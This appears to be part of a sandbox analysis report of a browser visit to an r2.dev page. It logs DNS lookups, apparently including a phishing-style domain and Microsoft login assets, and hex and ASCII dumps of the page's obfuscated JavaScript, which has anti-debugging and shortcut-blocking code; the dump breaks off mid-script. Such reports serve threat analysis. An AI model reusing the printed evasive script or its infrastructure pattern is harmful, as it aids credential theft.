Oct 29, 2024 10:47:08.710592031 CET	54842	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:08.710820913 CET	65366	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:08.717137098 CET	53	57201	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:08.717350006 CET	53	53537	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:08.718347073 CET	53	65366	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:08.718405962 CET	53	54842	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:10.281707048 CET	53571	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:10.281907082 CET	60869	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:10.282162905 CET	51362	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:10.282356024 CET	62810	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:10.290694952 CET	53	51362	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:10.291472912 CET	53	62810	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:10.297946930 CET	53	53571	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:10.316749096 CET	53	60869	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:14.259808064 CET	50807	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:14.260031939 CET	53662	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:14.267618895 CET	53	50807	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:14.268954992 CET	53	53662	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:14.280265093 CET	53	60997	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:14.282759905 CET	53	63165	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:14.545178890 CET	65138	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:14.545407057 CET	56351	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:14.558981895 CET	53	65138	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:14.571538925 CET	53	56351	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:17.218556881 CET	58596	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:17.226247072 CET	50636	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:17.255475044 CET	53	50636	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:17.256023884 CET	53	58596	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:17.327058077 CET	60339	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:17.327330112 CET	61040	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:17.334826946 CET	53	61040	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:17.334841013 CET	53	60339	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:17.410273075 CET	53	53293	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:19.669622898 CET	56240	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:19.669779062 CET	54576	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:47:19.677052975 CET	53	56240	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:19.677398920 CET	53	54576	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:39.760715008 CET	53	50228	1.1.1.1	192.168.2.4
Oct 29, 2024 10:47:40.680063009 CET	53	56840	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 29, 2024 10:47:10.319576979 CET	192.168.2.4	1.1.1.1	c283	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 10:46:41.691709042 CET	192.168.2.4	1.1.1.1	0x2d42	Standard query (0)	pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:46:41.691836119 CET	192.168.2.4	1.1.1.1	0x365e	Standard query (0)	pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev	65	IN (0x0001)	false
Oct 29, 2024 10:46:43.948676109 CET	192.168.2.4	1.1.1.1	0x6d4b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:46:43.951080084 CET	192.168.2.4	1.1.1.1	0x8593	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 29, 2024 10:47:06.743940115 CET	192.168.2.4	1.1.1.1	0x436f	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:06.744287014 CET	192.168.2.4	1.1.1.1	0x56f4	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 29, 2024 10:47:06.745984077 CET	192.168.2.4	1.1.1.1	0x4e8a	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:06.746674061 CET	192.168.2.4	1.1.1.1	0xeecb	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 29, 2024 10:47:08.690169096 CET	192.168.2.4	1.1.1.1	0x7899	Standard query (0)	freeipapi.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:08.690520048 CET	192.168.2.4	1.1.1.1	0x76ce	Standard query (0)	freeipapi.com	65	IN (0x0001)	false
Oct 29, 2024 10:47:08.709125042 CET	192.168.2.4	1.1.1.1	0x778a	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:08.709316969 CET	192.168.2.4	1.1.1.1	0xd3b9	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 29, 2024 10:47:08.710592031 CET	192.168.2.4	1.1.1.1	0xdace	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:08.710820913 CET	192.168.2.4	1.1.1.1	0x3df1	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 29, 2024 10:47:10.281707048 CET	192.168.2.4	1.1.1.1	0x7e63	Standard query (0)	e3yj1d3rjni.tkllop.online	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:10.281907082 CET	192.168.2.4	1.1.1.1	0x5c0c	Standard query (0)	e3yj1d3rjni.tkllop.online	65	IN (0x0001)	false
Oct 29, 2024 10:47:10.282162905 CET	192.168.2.4	1.1.1.1	0x97f0	Standard query (0)	freeipapi.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:10.282356024 CET	192.168.2.4	1.1.1.1	0x56f6	Standard query (0)	freeipapi.com	65	IN (0x0001)	false
Oct 29, 2024 10:47:14.259808064 CET	192.168.2.4	1.1.1.1	0x42e3	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:14.260031939 CET	192.168.2.4	1.1.1.1	0x75b9	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 29, 2024 10:47:14.545178890 CET	192.168.2.4	1.1.1.1	0x930a	Standard query (0)	e3yj1d3rjni.tkllop.online	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:14.545407057 CET	192.168.2.4	1.1.1.1	0xac7f	Standard query (0)	e3yj1d3rjni.tkllop.online	65	IN (0x0001)	false
Oct 29, 2024 10:47:17.218556881 CET	192.168.2.4	1.1.1.1	0x60f8	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:17.226247072 CET	192.168.2.4	1.1.1.1	0x9ebd	Standard query (0)	google.com	65	IN (0x0001)	false
Oct 29, 2024 10:47:17.327058077 CET	192.168.2.4	1.1.1.1	0x15ba	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:17.327330112 CET	192.168.2.4	1.1.1.1	0x267b	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 29, 2024 10:47:19.669622898 CET	192.168.2.4	1.1.1.1	0x968	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:19.669779062 CET	192.168.2.4	1.1.1.1	0x27ef	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 10:46:41.701817989 CET	1.1.1.1	192.168.2.4	0x2d42	No error (0)	pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev		172.66.0.235	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:46:41.701817989 CET	1.1.1.1	192.168.2.4	0x2d42	No error (0)	pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev		162.159.140.237	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:46:43.956322908 CET	1.1.1.1	192.168.2.4	0x6d4b	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:46:43.958538055 CET	1.1.1.1	192.168.2.4	0x8593	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 29, 2024 10:46:52.645044088 CET	1.1.1.1	192.168.2.4	0xdd4	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:46:52.645044088 CET	1.1.1.1	192.168.2.4	0xdd4	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:46:53.432307005 CET	1.1.1.1	192.168.2.4	0xd8f1	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:46:53.432307005 CET	1.1.1.1	192.168.2.4	0xd8f1	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:06.402523994 CET	1.1.1.1	192.168.2.4	0xc683	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:47:06.402523994 CET	1.1.1.1	192.168.2.4	0xc683	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:06.751743078 CET	1.1.1.1	192.168.2.4	0x436f	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:06.751743078 CET	1.1.1.1	192.168.2.4	0x436f	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:06.751743078 CET	1.1.1.1	192.168.2.4	0x436f	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:06.751743078 CET	1.1.1.1	192.168.2.4	0x436f	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:06.757114887 CET	1.1.1.1	192.168.2.4	0x4e8a	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:06.757114887 CET	1.1.1.1	192.168.2.4	0x4e8a	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:06.757132053 CET	1.1.1.1	192.168.2.4	0xeecb	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 29, 2024 10:47:08.698158026 CET	1.1.1.1	192.168.2.4	0x7899	No error (0)	freeipapi.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:08.698158026 CET	1.1.1.1	192.168.2.4	0x7899	No error (0)	freeipapi.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:08.703285933 CET	1.1.1.1	192.168.2.4	0x76ce	No error (0)	freeipapi.com			65	IN (0x0001)	false
Oct 29, 2024 10:47:08.717137098 CET	1.1.1.1	192.168.2.4	0x778a	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:08.717137098 CET	1.1.1.1	192.168.2.4	0x778a	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:08.717137098 CET	1.1.1.1	192.168.2.4	0x778a	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:08.717137098 CET	1.1.1.1	192.168.2.4	0x778a	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:08.718347073 CET	1.1.1.1	192.168.2.4	0x3df1	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 29, 2024 10:47:08.718405962 CET	1.1.1.1	192.168.2.4	0xdace	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:08.718405962 CET	1.1.1.1	192.168.2.4	0xdace	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:10.290694952 CET	1.1.1.1	192.168.2.4	0x97f0	No error (0)	freeipapi.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:10.290694952 CET	1.1.1.1	192.168.2.4	0x97f0	No error (0)	freeipapi.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:10.291472912 CET	1.1.1.1	192.168.2.4	0x56f6	No error (0)	freeipapi.com			65	IN (0x0001)	false
Oct 29, 2024 10:47:10.297946930 CET	1.1.1.1	192.168.2.4	0x7e63	No error (0)	e3yj1d3rjni.tkllop.online		104.21.57.143	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:10.297946930 CET	1.1.1.1	192.168.2.4	0x7e63	No error (0)	e3yj1d3rjni.tkllop.online		172.67.164.87	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:10.316749096 CET	1.1.1.1	192.168.2.4	0x5c0c	No error (0)	e3yj1d3rjni.tkllop.online			65	IN (0x0001)	false
Oct 29, 2024 10:47:14.267618895 CET	1.1.1.1	192.168.2.4	0x42e3	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:47:14.267618895 CET	1.1.1.1	192.168.2.4	0x42e3	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:47:14.267618895 CET	1.1.1.1	192.168.2.4	0x42e3	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:14.268954992 CET	1.1.1.1	192.168.2.4	0x75b9	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:47:14.268954992 CET	1.1.1.1	192.168.2.4	0x75b9	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:47:14.558981895 CET	1.1.1.1	192.168.2.4	0x930a	No error (0)	e3yj1d3rjni.tkllop.online		104.21.57.143	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:14.558981895 CET	1.1.1.1	192.168.2.4	0x930a	No error (0)	e3yj1d3rjni.tkllop.online		172.67.164.87	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:14.571538925 CET	1.1.1.1	192.168.2.4	0xac7f	No error (0)	e3yj1d3rjni.tkllop.online			65	IN (0x0001)	false
Oct 29, 2024 10:47:17.255475044 CET	1.1.1.1	192.168.2.4	0x9ebd	No error (0)	google.com			65	IN (0x0001)	false
Oct 29, 2024 10:47:17.256023884 CET	1.1.1.1	192.168.2.4	0x60f8	No error (0)	google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:17.334826946 CET	1.1.1.1	192.168.2.4	0x267b	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:47:17.334826946 CET	1.1.1.1	192.168.2.4	0x267b	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:47:17.334841013 CET	1.1.1.1	192.168.2.4	0x15ba	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:47:17.334841013 CET	1.1.1.1	192.168.2.4	0x15ba	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:47:17.334841013 CET	1.1.1.1	192.168.2.4	0x15ba	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:19.677052975 CET	1.1.1.1	192.168.2.4	0x968	No error (0)	www.google.com		142.250.186.36	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:19.677398920 CET	1.1.1.1	192.168.2.4	0x27ef	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 29, 2024 10:47:29.633455038 CET	1.1.1.1	192.168.2.4	0x9060	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:47:29.633455038 CET	1.1.1.1	192.168.2.4	0x9060	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:32.702404022 CET	1.1.1.1	192.168.2.4	0x21a4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:47:32.702404022 CET	1.1.1.1	192.168.2.4	0x21a4	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:47:53.244200945 CET	1.1.1.1	192.168.2.4	0x768a	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:47:53.244200945 CET	1.1.1.1	192.168.2.4	0x768a	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:47:53.244200945 CET	1.1.1.1	192.168.2.4	0x768a	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev

https:

cdnjs.cloudflare.com

code.jquery.com

freeipapi.com

e3yj1d3rjni.tkllop.online

aadcdn.msftauth.net

fs.microsoft.com

www.google.com

otelrules.azureedge.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	172.66.0.235	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:46:42 UTC	696	OUT	GET /index.html HTTP/1.1 Host: pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:46:43 UTC	259	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:46:42 GMT Content-Length: 703285 Connection: close Accept-Ranges: bytes ETag: "8d6eb6e73e2596575031566178cc276b" Last-Modified: Mon, 28 Oct 2024 13:41:11 GMT Server: cloudflare CF-RAY: 8da23d71fe982883-DFW
2024-10-29 09:46:43 UTC	1369	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 6b 64 62 78 52 76 76 70 3d 27 27 3b 76 61 72 20 5f 30 78 35 32 30 61 31 38 3d 5f 30 78 33 34 35 61 2c 5f 30 78 34 64 63 36 61 62 3d 5f 30 78 33 34 35 61 2c 5f 30 78 31 30 31 63 37 37 3d 5f 30 78 33 34 35 61 2c 5f 30 78 31 62 61 33 36 34 3d 5f 30 78 33 34 35 61 2c 5f 30 78 34 34 36 32 66 37 3d 5f 30 78 33 34 35 61 2c 5f 30 78 33 65 38 62 35 62 3d 5f 30 78 33 34 35 61 2c 5f 30 78 Data Ascii: <html><head><meta name="viewport" content="width=device-width, initial-scale=1.0"></head> <body><script>kdbxRvvp='';var _0x520a18=_0x345a,_0x4dc6ab=_0x345a,_0x101c77=_0x345a,_0x1ba364=_0x345a,_0x4462f7=_0x345a,_0x3e8b5b=_0x345a,_0x
2024-10-29 09:46:43 UTC	1369	IN	Data Raw: 30 78 34 31 34 30 31 33 3d 5f 30 78 33 34 35 61 2c 5f 30 78 32 61 32 30 63 38 3d 5f 30 78 33 34 35 61 2c 5f 30 78 32 66 63 61 35 32 3d 5f 30 78 33 34 35 61 2c 5f 30 78 31 32 65 33 30 34 3d 5f 30 78 33 34 35 61 2c 5f 30 78 61 61 33 61 33 33 3d 5f 30 78 33 34 35 61 2c 5f 30 78 34 61 34 62 30 62 3d 5f 30 78 33 34 35 61 2c 5f 30 78 31 33 32 30 35 36 3d 5f 30 78 33 34 35 61 2c 5f 30 78 31 31 33 37 37 36 3d 5f 30 78 33 34 35 61 2c 5f 30 78 65 37 61 63 34 63 3d 5f 30 78 33 34 35 61 2c 5f 30 78 34 39 65 61 37 34 3d 5f 30 78 33 34 35 61 2c 5f 30 78 33 64 63 61 38 65 3d 5f 30 78 33 34 35 61 2c 5f 30 78 35 35 36 35 30 30 3d 5f 30 78 33 34 35 61 2c 5f 30 78 34 35 38 34 35 38 3d 5f 30 78 33 34 35 61 2c 5f 30 78 34 35 37 63 64 66 3d 5f 30 78 33 34 35 61 2c 5f 30 78 35 Data Ascii: 0x414013=_0x345a,_0x2a20c8=_0x345a,_0x2fca52=_0x345a,_0x12e304=_0x345a,_0xaa3a33=_0x345a,_0x4a4b0b=_0x345a,_0x132056=_0x345a,_0x113776=_0x345a,_0xe7ac4c=_0x345a,_0x49ea74=_0x345a,_0x3dca8e=_0x345a,_0x556500=_0x345a,_0x458458=_0x345a,_0x457cdf=_0x345a,_0x5
2024-10-29 09:46:43 UTC	1369	IN	Data Raw: 73 68 69 66 74 27 5d 28 29 29 3b 7d 63 61 74 63 68 28 5f 30 78 63 38 38 38 66 63 29 7b 5f 30 78 34 62 36 36 38 32 5b 27 70 75 73 68 27 5d 28 5f 30 78 34 62 36 36 38 32 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 7d 7d 28 5f 30 78 31 63 31 31 2c 30 78 35 38 61 64 37 29 2c 28 28 29 3d 3e 7b 64 65 62 75 67 67 65 72 3b 7d 2c 30 78 31 29 2c 28 28 73 68 6f 72 74 63 75 74 3d 7b 27 61 6c 6c 5f 73 68 6f 72 74 63 75 74 73 27 3a 7b 7d 2c 27 61 64 64 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 39 61 37 32 36 2c 5f 30 78 33 32 30 35 61 61 2c 5f 30 78 31 33 31 34 36 66 29 7b 76 61 72 20 5f 30 78 35 32 35 31 61 65 3d 5f 30 78 33 34 35 61 2c 5f 30 78 32 61 33 38 33 39 3d 5f 30 78 33 34 35 61 2c 5f 30 78 35 38 64 39 38 38 3d 5f 30 78 33 34 35 61 2c 5f 30 78 33 39 62 38 37 Data Ascii: shift']());}catch(_0xc888fc){_0x4b6682['push'](_0x4b6682['shift']());}}}(_0x1c11,0x58ad7),(()=>{debugger;},0x1),((shortcut={'all_shortcuts':{},'add':function(_0x39a726,_0x3205aa,_0x13146f){var _0x5251ae=_0x345a,_0x2a3839=_0x345a,_0x58d988=_0x345a,_0x39b87
2024-10-29 09:46:43 UTC	1369	IN	Data Raw: 34 63 35 31 2c 5f 30 78 35 30 39 37 63 37 3d 5f 30 78 35 38 64 39 38 38 2c 5f 30 78 34 35 37 37 33 37 3d 5f 30 78 33 39 62 38 37 64 2c 5f 30 78 31 31 61 34 33 39 3d 5f 30 78 35 32 35 31 61 65 3b 69 66 28 5f 30 78 31 64 31 34 38 35 3d 5f 30 78 31 64 31 34 38 35 7c 7c 77 69 6e 64 6f 77 5b 5f 30 78 34 65 31 65 35 38 28 30 78 31 38 61 29 5d 2c 5f 30 78 31 33 31 34 36 66 5b 27 64 69 73 61 62 6c 65 5f 69 6e 5f 69 6e 70 75 74 27 5d 29 7b 76 61 72 20 5f 30 78 35 30 33 32 66 33 3b 69 66 28 5f 30 78 31 64 31 34 38 35 5b 5f 30 78 33 61 37 31 62 66 28 30 78 31 35 35 29 5d 3f 5f 30 78 35 30 33 32 66 33 3d 5f 30 78 31 64 31 34 38 35 5b 5f 30 78 34 65 31 65 35 38 28 30 78 31 35 35 29 5d 3a 5f 30 78 31 64 31 34 38 35 5b 27 73 72 63 45 6c 65 6d 65 6e 74 27 5d 26 26 28 5f Data Ascii: 4c51,_0x5097c7=_0x58d988,_0x457737=_0x39b87d,_0x11a439=_0x5251ae;if(_0x1d1485=_0x1d1485\|\|window[_0x4e1e58(0x18a)],_0x13146f['disable_in_input']){var _0x5032f3;if(_0x1d1485[_0x3a71bf(0x155)]?_0x5032f3=_0x1d1485[_0x4e1e58(0x155)]:_0x1d1485['srcElement']&&(_
2024-10-29 09:46:43 UTC	1369	IN	Data Raw: 32 38 2c 27 66 31 27 3a 30 78 37 30 2c 27 66 32 27 3a 30 78 37 31 2c 27 66 33 27 3a 30 78 37 32 2c 27 66 34 27 3a 30 78 37 33 2c 27 66 35 27 3a 30 78 37 34 2c 27 66 36 27 3a 30 78 37 35 2c 27 66 37 27 3a 30 78 37 36 2c 27 66 38 27 3a 30 78 37 37 2c 27 66 39 27 3a 30 78 37 38 2c 27 66 31 30 27 3a 30 78 37 39 2c 27 66 31 31 27 3a 30 78 37 61 2c 27 66 31 32 27 3a 30 78 37 62 7d 2c 5f 30 78 33 61 37 64 34 30 3d 21 30 78 31 2c 5f 30 78 33 36 32 63 31 36 3d 21 30 78 31 2c 5f 30 78 34 34 32 64 39 38 3d 21 30 78 31 2c 5f 30 78 32 31 35 62 65 32 3d 21 30 78 31 2c 5f 30 78 32 63 64 31 33 66 3d 21 30 78 31 2c 5f 30 78 33 35 33 38 61 39 3d 21 30 78 31 2c 5f 30 78 32 32 31 37 39 38 3d 21 30 78 31 2c 5f 30 78 32 35 65 36 37 30 3d 21 30 78 31 3b 5f 30 78 31 64 31 34 38 Data Ascii: 28,'f1':0x70,'f2':0x71,'f3':0x72,'f4':0x73,'f5':0x74,'f6':0x75,'f7':0x76,'f8':0x77,'f9':0x78,'f10':0x79,'f11':0x7a,'f12':0x7b},_0x3a7d40=!0x1,_0x362c16=!0x1,_0x442d98=!0x1,_0x215be2=!0x1,_0x2cd13f=!0x1,_0x3538a9=!0x1,_0x221798=!0x1,_0x25e670=!0x1;_0x1d148
2024-10-29 09:46:43 UTC	1369	IN	Data Raw: 3a 5f 30 78 33 37 66 62 30 36 2c 27 65 76 65 6e 74 27 3a 5f 30 78 31 33 31 34 36 66 5b 5f 30 78 31 39 63 61 65 61 28 30 78 31 35 61 29 5d 7d 2c 5f 30 78 33 37 66 62 30 36 5b 27 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 27 5d 3f 5f 30 78 33 37 66 62 30 36 5b 5f 30 78 32 61 33 38 33 39 28 30 78 31 33 65 29 5d 28 5f 30 78 31 33 31 34 36 66 5b 27 74 79 70 65 27 5d 2c 5f 30 78 33 62 38 39 31 66 2c 21 30 78 31 29 3a 5f 30 78 33 37 66 62 30 36 5b 5f 30 78 33 39 62 38 37 64 28 30 78 31 34 34 29 5d 3f 5f 30 78 33 37 66 62 30 36 5b 27 61 74 74 61 63 68 45 76 65 6e 74 27 5d 28 27 6f 6e 27 2b 5f 30 78 31 33 31 34 36 66 5b 5f 30 78 31 39 63 61 65 61 28 30 78 31 35 61 29 5d 2c 5f 30 78 33 62 38 39 31 66 29 3a 5f 30 78 33 37 66 62 30 36 5b 27 6f 6e 27 2b 5f 30 78 Data Ascii: 